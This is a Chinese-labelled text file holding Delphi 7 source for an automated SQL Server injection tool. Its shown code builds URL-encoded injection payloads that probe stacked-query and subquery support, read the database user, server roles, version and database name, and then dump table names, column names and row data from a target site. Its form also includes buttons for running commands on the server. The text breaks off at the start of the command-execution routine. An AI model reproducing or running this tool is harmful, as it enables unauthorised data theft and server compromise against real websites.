sql注入工具源码.txt

利用SQL Server的注入漏洞实现猜解数据库名

D7原代码：

unit untmain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, idHttp, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, OleCtrls, SHDocVw,mshtml;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    EdtUrl: TEdit;
    BtnCheck: TButton;
    Label2: TLabel;
    GroupBox1: TGroupBox;
    Label7: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    EdtMuliCase: TEdit;
    EdtQuery: TEdit;
    EdtUser: TEdit;
    EdtPower: TEdit;
    EdtDbName: TEdit;
    Memo1: TMemo;
    GroupBox2: TGroupBox;
    cbDisp: TCheckBox;
    EdtCommand: TEdit;
    rbCmd: TRadioButton;
    rbOA: TRadioButton;
    BtnExecute: TButton;
    GroupBox3: TGroupBox;
    Memo2: TMemo;
    wb: TWebBrowser;
    BtnStop: TButton;
    rbJob: TRadioButton;
    BtnCancel: TButton;
    procedure BtnCheckClick(Sender: TObject);
    procedure BtnExecuteClick(Sender: TObject);
    procedure wbDocumentComplete(Sender: TObject; const pDisp: IDispatch;
      var URL: OleVariant);
    procedure BtnStopClick(Sender: TObject);
    procedure rbCmdClick(Sender: TObject);
    procedure rbOAClick(Sender: TObject);
    procedure rbJobClick(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure BtnCancelClick(Sender: TObject);
  private
    { Private declarations }
    tag:integer;
    isFinish,isCancel:boolean;
    function Get(URL: string): boolean;
    function GetWBMsg(URL: string): string;
    Function StrToNChar(DbName,TName:string): string;
    procedure SetRdbCheck(rd:TRadioButton);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.BtnCheckClick(Sender: TObject);
const
  vFieldCount=5;
  PowerStr :array[0..6] of string=(
     'sysadmin','dbcreator','diskadmin',
     'processadmin','serveradmin',
     'setupadmin','securityadmin');
var
  Url,DbName,TName,TName0,ColName,ColName0,NCharStr:string;
  i,j,k,iCount:integer;
  VerStr,ValueStr,CountStr,Powers:string;
  FieldStr,FieldOrdStr,CFieldStr:string;
  vfield:OleVariant;
begin
  try
    EdtMuliCase.Text :='';
    EdtQuery.Text :='';
    EdtUser.Text :='';
    EdtPower.Text :='';
    EdtDbName.Text :='';
    Url:=trim(EdtUrl.Text);
    isFinish :=False;
    vfield :=VarArrayCreate([0,vFieldCount-1],varVariant);
    Memo1.Clear;
    Screen.Cursor :=crHourGlass;
    //判断是否支持多句查询
    if Get(Url+';declare%20@a%20int--') then
    begin
      EdtMuliCase.Text :='支持';
    end else
    begin
      EdtMuliCase.Text :='不支持';
    end;
    //判断是否支持子查询
    if get(Url+'%20and%20(Select%20count(1)%20from%20[sysobjects])>=0') then
    begin
      EdtQuery.Text :='支持';
    end else
    begin
      EdtQuery.Text :='不支持';
    end;
    //取得当前用户
    EdtUser.Text :=GetWBMsg(Url+'%20and%20char(124)%2Buser%2Bchar(124)=0');
    //取得当前用户登录的服务器角色成员
    for i:=0 to High(PowerStr) do
    begin
      if get(Url+'%20And%20Cast(IS_SRVROLEMEMBER('''+PowerStr[i]+''')%20as%20varchar(1))=1') then
      begin
        Powers :=Powers+PowerStr[i]+'|';
      end;
    end;
    if Powers='' then
      EdtPower.Text :='未知'
    else EdtPower.Text :=Powers;
    //指明当前用户是否为 db_owner 固定数据库角色的成员
  {  if get(Url+'%20And%20Cast(IS_MEMBER(''db_owner'')%20as%20varchar(1))=1') then
    begin
      EdtPower.Text :='db_owner';
    end else
    begin
      EdtPower.Text :='未知';
    end;  }
    //得到当前SQL Server的版本号
    VerStr :=GetWBMsg(Url+'%20and%20char(124)%2B@@version%2Bchar(124)>0');
    Memo1.Lines.Add('当前版本号：'+VerStr);
    Memo1.Lines.Add('');
    //取得数据库名
    DbName :=GetWBMsg(Url+'%20And%20char(124)%2Bdb_name()%2Bchar(124)=0');
    EdtDbName.Text :=DbName;
    if (DbName='') or (DbName='未知') then
    begin
      Memo1.Lines.Add('未知的数据库，操作终止！');
      exit;
    end;
    Memo1.Lines.Add('当前数据库：'+DbName);
    BtnStop.Visible :=true;
    BtnCheck.Visible :=False;
    //猜解表名
    Memo1.Lines.Add('');
    Memo1.Lines.Add('开始猜解表名.....');
    Memo1.Lines.Add('#######################');
    for i:=1 to 1000 do
    begin
      TName :='';
      TName :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)%20as%20varchar(8000))'+
                       '%20from(Select%20Top%20'+inttostr(i)+'%20id,name%20from%20['+DbName+']..[sysobjects]'+
                       '%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0;--');
      if (TName0=TName) or (isFinish) then
        Break;
      Memo1.Lines.Add('表名 :'+TName);
      //猜解列名
      Memo1.Lines.Add('');
      Memo1.Lines.Add('开始猜解列名.....');
      Memo1.Lines.Add('#######################');
      NCharStr :='';
      NCharStr :=StrToNChar(DbName,TName);
      j:=1;
      while j<1000 do
      begin
        ColName :='';
        ColName :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)'+
                       '%20as%20varchar(8000))%20from%20(Select%20Top%20'+inttostr(j)+'%20colid,name'+
                       '%20From%20['+DbName+']..[syscolumns]%20Where%20id%20=%20'+NCharStr+
                       '%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0;--');
        if (ColName0=ColName) or (isFinish) then
          j:=1000
        else begin
          Memo1.Lines.Add('列名 '+inttostr(j)+' :'+ColName);
          if j<vFieldCount+1 then
          begin
            vfield[j-1] :=ColName;
          end;
          ColName0 :=ColName;
          inc(j);
        end;
      end;
      Memo1.Lines.Add('#######################');
      Memo1.Lines.Add('列名猜解结束.....');
      Memo1.Lines.Add('');
      //猜解数据
      Memo1.Lines.Add('开始猜解数据.....');
      Memo1.Lines.Add('#######################');
      CountStr :=GetWBMsg(Url+'%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))'+
                   '%2Bchar(124)%20From%20['+TName+']%20Where%201=1)>0;--');
      try
        iCount :=strtoint(CountStr);
      except
        Memo1.Lines.add('出现意外数据，操作终止！');
        exit;
      end;
      Memo1.Lines.Add('表 '+TName+' ：共有 '+CountStr+' 条数据。');
      CFieldStr :='';
      FieldStr :='';
      FieldOrdStr :=''; 
      for k:=0 to vFieldCount-1 do
      begin
        if k=0 then
        begin
          CFieldStr :='isNull(cast(['+vfield[0]+']%20as%20varchar(8000)),char(32))';
          FieldStr :='['+vfield[0]+']';
          FieldOrdStr :='['+vfield[0]+']%20desc';
        end else
        begin
          CFieldStr :=CFieldStr+'%2B%20%2BisNull(cast(['+vfield[k]+']%20as%20varchar(8000)),char(32))';
          FieldStr :=FieldStr+',['+vfield[k]+']';
          FieldOrdStr :=FieldOrdStr+',['+vfield[k]+']%20desc';
        end;
      end;
      k:=1;
      while k<iCount+1 do
      begin
        ValueStr :='';
        ValueStr :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20char(124)%2B'+CFieldStr+'%2Bchar(124)%20From%20(Select'+
                   '%20Top%20'+inttostr(k)+'%20'+FieldStr+'%20From%20['+DbName+']..['+TName+']%20Where%201=1'+
                   '%20Order%20by%20'+FieldStr+')%20T%20Order%20by%20'+FieldOrdStr+')>0;--');

        if isFinish then
          k:=iCount+1;
        Memo1.Lines.Add('数据 '+inttostr(k)+' :'+ValueStr);
        inc(k);
      end;
      Memo1.Lines.Add('#######################');
      Memo1.Lines.Add('数据猜解结束.....');        
      Memo1.Lines.Add('');
      TName0 :=TName;
    end;
    Memo1.Lines.Add('#######################');
    Memo1.Lines.Add('表名猜解结束.....');
  finally
    Screen.Cursor :=crDefault;
    BtnStop.Visible :=False;
    BtnCheck.Visible :=True;
  end;
end;

procedure TForm1.BtnExecuteClick(Sender: TObject);
var
  Url,DbName,CommandStr:string;
  ResultStr,CountStr:string;
  iCount,i:integer;
begin
  try
    Url:=trim(EdtUrl.Text);
    ResultStr :='';
    CommandStr :='';
    isCancel :=False;
    CommandStr:=trim(EdtCommand.Text);